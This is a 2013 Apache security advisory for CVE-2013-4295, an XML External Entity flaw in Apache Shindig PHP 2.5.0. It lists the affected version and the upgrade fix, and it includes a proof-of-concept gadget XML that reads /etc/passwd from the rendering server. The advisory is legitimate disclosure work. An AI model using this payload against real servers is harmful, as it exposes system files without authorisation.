bugtraq - [Full-disclosure] [CVE-2013-4295] Apache Shindig information disclosure vulnerability

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Message-ID: <CAB56zCVDGDeprGFsUbL1a0Y5iCKbj42mNNZGtq=g=CWfBrP4xQ@mail.gmail.com>
Date: Mon, 21 Oct 2013 20:18:45 -0400
From: Ryan Baxter <rbaxter85@...che.org>
To: "dev@...ndig.apache.org" <dev@...ndig.apache.org>,
  "users@...ndig.apache.org" <users@...ndig.apache.org>,
  "security@...che.org" <security@...che.org>,
  full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com,
  Kousuke Ebihara <kousuke@...k.org>
Subject: [Full-disclosure] [CVE-2013-4295] Apache Shindig information
	disclosure vulnerability

CVE-2013-4295: XXE vulnerability In Apache Shindig 2.5.0 (PHP)

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected: Apache Shindig PHP 2.5.0

Description: The gadget renderer in the PHP version of Apache Shindig
is subject to an XML External Entity (XXE) Injection attack.  The
vulnerability allows a malicious gadget author to construct paths to
content on the gadget rendering server which in turn will display the
content in the gadget iframe.

Mitigation: 2.5.0 users should upgrade to 2.5.0-update1.

Example:  The following gadget XML demonstrates the issue.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Module [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]>
<Module>
<ModulePrefs title="Test Application">
<Require feature="opensocial-0.9" />
</ModulePrefs>
<Content type="html">
&passwd; hello
</Content>
</Module>

After rendering this gadget you will see the content of /etc/passwd in
the gadget iframe.

Credit: This issue was discovered by Kousuke Ebihara.

References: http://shindig.apache.org/security.html

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